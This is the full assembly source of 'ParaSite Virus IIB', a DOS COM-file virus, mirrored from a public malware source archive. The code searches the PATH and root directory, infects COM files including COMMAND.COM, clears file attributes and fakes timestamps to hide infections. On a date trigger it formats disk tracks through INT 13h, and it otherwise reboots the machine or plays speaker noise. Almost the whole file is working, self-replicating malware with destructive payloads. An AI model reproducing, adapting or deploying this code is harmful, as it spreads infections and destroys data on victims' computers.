mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-28 18:02:48 +00:00
419 lines
30 KiB
NASM
419 lines
30 KiB
NASM
;********************************************************************
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; <PARSIT2B.ASM> - ParaSite Virus IIB
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; By: Rock Steady
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; Close to one year I created this Virus. As you can see it is quite
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; old... Maybe too Old... But here it is... It Sucks... but its great
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; for any virus beginner... Anyhow...
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; NOTES: Simple COM infector. 10% of the time it reboots the system
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; 20% it plays machine gun noices on the PC speaker... and
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; 70% of the time is infects another COM file... Have fun...
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;********************************************************************
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MOV_CX MACRO X
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DB 0B9H
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DW X
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ENDM
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CODE SEGMENT
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ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
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ORG 100H
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VCODE: JMP virus
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NOP
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NOP ; To identify it as an Infected
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NOP ; Program!
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v_start equ $
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virus: PUSH CX
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MOV DX,OFFSET vir_dat
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CLD
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MOV SI,DX
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ADD SI,first_3
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JMP Rock_1
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Rock_2:
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MOV DX,dta
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ADD DX,SI
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MOV AH,1AH
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INT 21H
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PUSH ES
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PUSH SI
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MOV ES,DS:2CH
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MOV DI,0
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JMP Day_Of_Week
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Rock_1:
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MOV CX,3
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MOV DI,OFFSET 100H
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REPZ MOVSB
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MOV SI,DX
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PUSH ES
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MOV AH,2FH
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INT 21H
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MOV [SI+old_dta],BX
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MOV [SI+old_dts],ES
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POP ES
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JMP Rock_2
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Day_Of_Week:
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MOV AH,2AH ;Get System date!
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INT 21H
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CMP AL,1 ;Check to See if it's Monday!
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JGE day_check ;Jump if later than Mondays
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JMP Get_Time
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day_check:
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CMP AL,1 ;Check to see if it is the 1st
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JA Get_Time ;If yes, create a MESS...
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JMP Bad_Mondays ;If not, then go on with infecti
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mess:
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Bad_Mondays:
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MOV DL,2 ;The Formatting Tracks..
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MOV AH,05
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MOV DH,80h
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MOV CH,0
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INT 13h
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Play_music:
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MOV CX,20d ;Set number of Shots
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new_shot:
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PUSH CX ;Save Count
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CALL Shoot
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MOV CX,4000H
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Silent: LOOP silent
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POP CX
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LOOP new_Shot
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JMP mess
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SHOOT proc near ;The Machine Gun Noices...
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MOV DX,140h
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MOV BX,20h
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IN AL,61h
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AND AL,11111100b
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SOUND: XOR AL,2
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OUT 61h,al
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ADD dx,9248h
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MOV CL,3
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ROR DX,CL
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MOV CX,DX
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AND cx,1ffh
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OR CX,10
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WAITA: LOOP WAITA
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DEC BX
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JNZ SOUND
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AND AL,11111100b
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OUT 61h,AL
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RET
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Shoot Endp
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Get_Time:
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MOV AH,2Ch ; Get System Time!
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INT 21h ;
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AND DH,0fh
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CMP DH,3
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JB Play_music
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CMP DH,3h
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JA Find_Path
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INT 19h
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go:
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MOV AH, 47H
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XOR DL,DL
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ADD SI, OFFSET orig_path - OFFSET buffer - 8
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INT 21H
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JC find_path
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MOV AH,3BH
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MOV DX,SI
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ADD DX, OFFSET root_dir - OFFSET orig_path
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INT 21H
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infect_root:
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MOV [BX+nam_ptr],DI
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MOV SI,BX
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ADD SI,f_ipec
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MOV CX,6
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REPZ MOVSB
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JMP hello
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find_path:
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POP SI ; Seek and Destroy...
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PUSH SI
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ADD SI,env_str
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LODSB
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MOV CX,OFFSET 8000H
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REPNZ SCASB
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MOV CX,4
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check_next_4:
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LODSB
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SCASB
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;
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; The JNZ line specifies that if there is no PATH present, then we will
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; along and infect the ROOT directory on the default drive.
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JNZ find_path ;If not path, then go to ROOT di
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LOOP check_next_4 ;Go back and check for more char
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POP SI ;Load in PATH again to look for
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POP ES
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MOV [SI+path_ad],DI
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MOV DI,SI
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ADD DI,wrk_spc
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MOV BX,SI
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ADD SI,wrk_spc ;the File Handle
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MOV DI,SI
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JMP SHORT slash_ok
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set_subdir:
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CMP WORD PTR [SI+path_ad],0
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JNZ found_subdir
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JMP all_done
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found_subdir:
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PUSH DS
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PUSH SI
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MOV DS,ES:2CH
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MOV DI,SI
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MOV SI,ES:[DI+path_ad]
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ADD DI,wrk_spc ;DI is the handle to infect!
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move_subdir:
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LODSB ;To tedious work to move into su
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NOP
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CMP AL,';' ;Does it end with a ; character?
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JZ moved_one ;if yes, then we found a subdir
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CMP AL,0 ;is it the end of the path?
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JZ moved_last_one ;if yes, then we save the PATH
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STOSB ;marker into DI for future refer
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JMP SHORT move_subdir
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moved_last_one:
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MOV SI,0
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moved_one:
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POP BX ;BX is where the virus data is
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POP DS ;Restore DS
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NOP
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MOV [BX+path_ad],SI ;Where is the next subdir?
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CMP CH,'\' ;Check to see if it ends in \
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JZ slash_ok ;If yes, then it's OK
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MOV AL,'\' ;if not, then add one...
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STOSB ;store the sucker
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slash_ok:
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MOV [BX+nam_ptr],DI ;Move the filename into workspac
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MOV SI,BX ;Restore the original SI value
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ADD SI,f_spec ;Point to COM file victim
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MOV CX,6
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REPZ MOVSB ;Move victim into workspace
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hello:
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MOV SI,BX
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MOV AH,4EH
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MOV DX,wrk_spc
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ADD DX,SI ;DX is ... The File to infect
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MOV CX,3 ;Attributes of Read Only or Hidd
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INT 21H
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JMP SHORT find_first
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joe1:
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JMP go
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find_next:
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MOV AH,4FH
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INT 21H
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find_first:
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JNB found_file ;Jump if we found it
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JMP SHORT set_subdir ;Otherwise, get another subdirec
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found_file:
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MOV AX,[SI+dta_tim] ;Get time from DTA
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AND AL,1EH ;Mask to remove all but seconds
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CMP AL,1EH ;60 seconds
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JZ find_next
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CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too LON
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JA find_next ;If too long, find another one
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CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
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JB find_next ;Then go find another one
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MOV DI,[SI+nam_ptr]
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PUSH SI
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ADD SI,dta_nam
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more_chars:
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LODSB
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STOSB
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CMP AL,0
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JNZ more_chars
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POP SI
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MOV AX,OFFSET 4300H
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MOV DX,wrk_spc
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ADD DX,SI
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INT 21H
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MOV [SI+old_att],CX
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MOV AX,OFFSET 4301H
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AND CX,OFFSET 0FFFEH
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MOV DX,wrk_spc
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ADD DX,SI
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INT 21H
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MOV AX,OFFSET 3D02H
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MOV DX,wrk_spc
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ADD DX,SI
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INT 21H
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JNB opened_ok
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JMP fix_attr
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opened_ok:
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MOV BX,AX
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MOV AX,OFFSET 5700H
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INT 21H
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MOV [SI+old_tim],CX ;Save file time
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MOV [SI+ol_date],DX ;Save the date
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MOV AH,2CH
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INT 21H
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AND DH,7
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JMP infect
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infect:
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MOV AH,3FH
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MOV CX,3
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MOV DX,first_3
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ADD DX,SI
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INT 21H ;Save first 3 bytes into the data area
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JB fix_time_stamp
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CMP AX,3
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JNZ fix_time_stamp
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MOV AX,OFFSET 4202H
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MOV CX,0
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MOV DX,0
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INT 21H
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JB fix_time_stamp
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MOV CX,AX
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SUB AX,3
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MOV [SI+jmp_dsp],AX
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ADD CX,OFFSET c_len_y
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MOV DI,SI
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SUB DI,OFFSET c_len_x
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JMP CONT
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JOE2:
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JMP JOE1
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CONT:
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MOV [DI],CX
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MOV AH,40H
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MOV_CX virlen
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MOV DX,SI
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SUB DX,OFFSET codelen
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INT 21H
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JB fix_time_stamp
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CMP AX,OFFSET virlen
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JNZ fix_time_stamp
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MOV AX,OFFSET 4200H
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MOV CX,0
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MOV DX,0
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INT 21H
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JB fix_time_stamp
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MOV AH,40H
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MOV CX,3
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MOV DX,SI
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ADD DX,jmp_op
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INT 21H
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fix_time_stamp:
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MOV DX,[SI+ol_date]
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MOV CX,[SI+old_tim]
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AND CX,OFFSET 0FFE0H
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OR CX,1EH
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MOV AX,OFFSET 5701H
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INT 21H
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MOV AH,3EH
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INT 21H
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fix_attr:
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MOV AX,OFFSET 4301H
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MOV CX,[SI+old_att]
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MOV DX,wrk_spc
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ADD DX,SI
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INT 21H
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all_done:
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PUSH DS
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MOV AH,1AH
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MOV DX,[SI+old_dta]
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MOV DS,[SI+old_dts]
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INT 21H
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POP DS
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quit:
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MOV BX,OFFSET count
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CMP BX,0
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JB joe2
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POP CX
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XOR AX,AX ;XOR values so that we will give
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XOR BX,BX ;poor sucker a hard time trying
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XOR DX,DX ;reassemble the source code if h
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XOR SI,SI ;decides to dissassemble us.
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MOV DI,OFFSET 0100H
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PUSH DI
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XOR DI,DI
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RET 0FFFFH ;Return back to the beginning
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;of the program
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vir_dat EQU $
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Aurther DB "ParaSite IIB - By: Rock Steady"
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olddta_ DW 0
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olddts_ DW 0
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oldtim_ DW 0
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count_ DW 0
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oldate_ DW 0
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oldatt_ DW 0
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first3_ EQU $
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INT 20H
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NOP
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jmpop_ DB 0E9H
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jmpdsp_ DW 0
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fspec_ DB '*.COM',0
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fipec_ DB 'COMMAND.COM',0
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pathad_ DW 0
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namptr_ DW 0
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envstr_ DB 'PATH='
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wrkspc_ DB 40h dup (0)
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dta_ DB 16h dup (0)
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dtatim_ DW 0,0
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dtalen_ DW 0,0
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dtanam_ DB 0Dh dup (0)
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buffer DB 0CDh, 20h, 0, 0, 0, 0, 0, 0
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orig_path DB 64 dup (?)
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root_dir DB '\',0
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lst_byt EQU $
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virlen = lst_byt - v_start
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codelen = vir_dat - v_start
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c_len_x = vir_dat - v_start - 2
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c_len_y = vir_dat - v_start + 100H
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old_dta = olddta_ - vir_dat
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old_dts = olddts_ - vir_dat
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old_tim = oldtim_ - vir_dat
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ol_date = oldate_ - vir_dat
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old_att = oldatt_ - vir_dat
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first_3 = first3_ - vir_dat
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jmp_op = jmpop_ - vir_dat
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jmp_dsp = jmpdsp_ - vir_dat
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f_spec = fspec_ - vir_dat
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f_ipec = fipec_ - vir_dat
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path_ad = pathad_ - vir_dat
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nam_ptr = namptr_ - vir_dat
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env_str = envstr_ - vir_dat
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wrk_spc = wrkspc_ - vir_dat
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dta = dta_ - vir_dat
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dta_tim = dtatim_ - vir_dat
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dta_len = dtalen_ - vir_dat
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dta_nam = dtanam_ - vir_dat
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count = count_ - vir_dat
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CODE ENDS
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END VCODE
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